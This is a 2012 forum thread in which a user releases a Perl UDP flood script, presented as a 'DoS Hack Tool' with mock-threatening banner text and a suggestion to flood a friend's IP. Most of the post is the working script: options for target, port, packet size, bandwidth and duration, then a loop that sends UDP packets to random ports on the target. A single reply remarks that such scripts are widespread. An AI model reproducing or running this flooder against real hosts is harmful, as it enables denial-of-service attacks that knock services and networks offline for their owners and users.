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Thread: [\[RELEASE\] Snipzor789's UDP Flood Perl Code. \[RELEASE\]](#)

snipzor78901 - March 6, 2012, 6:53 am

Well here is is as the title says:

```
Code #!/usr/bin/perl
#####
# udp flood.
#####

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw  = 0;
our $help = 0;
our $delay= 0;

GetOptions(
    "port=i" => \$port,      # UDP port to use, numeric, 0=random
    "size=i" => \$size,      # packet size, number, 0=random
    "bandwidth=i" => \$bw,    # bandwidth to consume
    "time=i" => \$time,      # time to run
    "delay=f"=> \$delay,     # inter-packet delay
    "help|?" => \$help);    # help
```

my (\$ip) = @ARGV;

```
if ($help || !$ip) {
    print <<'EOL';
```

Welcome to the Snipzor789 DoS Hack Tool Version 1.0 Released March/4/2012. ©.

Defcon Level 1 Nuke Login Screen.	
User Name:	[CIA]
Password:	[Security]

[OK]

I Have Your Security In My Hands Now United States.
SYSTEM FAILURE IN ALL YOUR FAIL SECURITY.

Usage: ./UDPFlood.pl <IP> --<OPTIONS>

Options:

--port
--size
--time
--bandwidth
--delay

IF VALUES:

If the bandwidth is specified, but delay and size are not, the size is set to 256 bytes and the delay is computed;

If the bandwidth and delay are specified, the packet size is computed and overrides the size settings (if present);

If the size and delay are specified, the IP bandwidth is computed and reported before the flooding starts;

If only the delay parameter is specified, random-sized packets are sent at the specified intervals.

Min Packet Size 64 - Max 1500.

This UDP Flooder also comes with the capability to flood a friends IP with open ports since routers read UDP.

Website To Check if Web-Server is up or down:

<http://www.downforeveryoneorjustme.com/>

If you find any other issues please report them VIA E-Mail to the following:

Snipzor789DOS(AT)yahoo.ca

Written by Snipzor789.

USING THIS TOOL WITH OTHER TOOLS SUCH AS A TCP FLOODER WILL CAUSE A DOS ON YOUR LOCAL NETWORK IF USED WRONG.

EOL

exit(1);

}

if (\$bw && \$delay) {

print "WARNING: computed packet size overwrites the --size parameter ignored\n";

\$size = int(\$bw * \$delay / 8);

} elsif (\$bw) {

\$delay = (8 * \$size) / \$bw;

}

\$size = 256 if \$bw && !\$size;

```
($bw = int($size / $delay * 8)) if ($delay && $size);
```

```
my ($iaddr,$endtime,$psize,$pport);
```

```
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
```

```
$endtime = time() + ($time ? $time : 1000000);
```

```
socket(flood, PF_INET, SOCK_DGRAM, 17);
```

```
print "Flooding $ip " . ($port ? $port : "random") . " port with " .
```

```
($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
```

```
print "Interpacket delay $delay msec\n" if $delay;
```

```
print "Total IP bandwidth $bw kbps\n" if $bw;
```

```
print "Break with Ctrl-C\n" unless $time;
```

```
die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
```

```
$size -= 28 if $size;
```

```
for (;time() <= $endtime;) {
```

```
    $psize = $size ? $size : int(rand(1024-64)+64) ;
```

```
    $pport = $port ? $port : int(rand(65500))+1;
```

```
    send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
```

```
    usleep(1000 * $delay) if $delay;
```

```
}
```

```
Peace! ?
```

Synchronizing - March 6, 2012, 6:54 am

Cool script, but Perl scripts for DoSing are all over the Internet now.